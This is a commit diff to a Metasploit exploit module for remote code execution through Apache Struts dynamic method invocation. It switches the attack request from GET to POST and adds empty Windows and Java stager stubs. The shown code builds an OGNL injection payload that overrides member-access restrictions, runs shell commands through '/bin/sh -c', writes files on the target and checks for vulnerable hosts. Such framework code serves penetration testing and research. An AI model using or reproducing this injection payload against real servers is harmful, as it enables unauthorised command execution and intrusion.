send http request (get -> post)

modules/exploits/multi/http/struts_code_exec_dynamic_method_invocation.rb

@@ -50,27 +50,23 @@ class MetasploitModule < Msf::Exploit::Remote
       ], self.class)
   end
 
-  def send_http_request(payload)
+  def send_http_request(payload, params)
     uri = normalize_uri(datastore['TARGETURI'])
     send_request_cgi(
-      'uri'     => uri + payload,
-      'version' => '1.1',
-      'method'  => 'GET')
+      'uri'        => uri + payload,
+      'version'    => '1.1',
+      'method'     => 'POST',
+      'vars_post'  => params
+    )
   end
 
-  def parameterize(params) # params is a hash
-    URI.escape(params.collect { |k, v| "#{k}=#{v}" }.join('&'))
-  end
-
-  def generate_rce_payload(code, params_hash)
+  def generate_rce_payload(code)
     payload = "?method:"
     payload << Rex::Text.uri_encode("#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS")
     payload << ","
     payload << Rex::Text.uri_encode(code)
     payload << ","
     payload << Rex::Text.uri_encode("1?#xx:#request.toString")
-    payload << "&"
-    payload << parameterize(params_hash)
     payload
   end
 
@@ -94,9 +90,9 @@ class MetasploitModule < Msf::Exploit::Remote
     code << "##{var_b}.close()"
 
     params_hash = { var_c => filename, var_d => content }
-    payload = generate_rce_payload(code, params_hash)
+    payload = generate_rce_payload(code)
 
-    send_http_request(payload)
+    send_http_request(payload, params_hash)
   end
 
   def execute_command(cmd)
@@ -119,9 +115,9 @@ class MetasploitModule < Msf::Exploit::Remote
 
     cmd.tr!(' ', '+') if cmd && cmd.include?(' ')
     params_hash = { var_f => cmd }
-    payload = generate_rce_payload(code, params_hash)
+    payload = generate_rce_payload(code)
 
-    send_http_request(payload)
+    send_http_request(payload, params_hash)
   end
 
   def linux_stager
@@ -140,6 +136,12 @@ class MetasploitModule < Msf::Exploit::Remote
     execute_command("/bin/sh -c #{payload_exe}")
   end
 
+  def windows_stager
+  end
+
+  def java_stager
+  end
+
   def exploit
     case target['Platform']
       when 'linux'
@@ -169,9 +171,9 @@ class MetasploitModule < Msf::Exploit::Remote
     code << "##{var_a}.close()"
 
     params_hash = { var_b => flag }
-    payload = generate_rce_payload(code, params_hash)
+    payload = generate_rce_payload(code)
 
-    resp = send_http_request(payload)
+    resp = send_http_request(payload, params_hash)
 
     if resp && resp.code == 200 && resp.body.include?("#{flag}#{sum}#{flag}")
       Exploit::CheckCode::Appears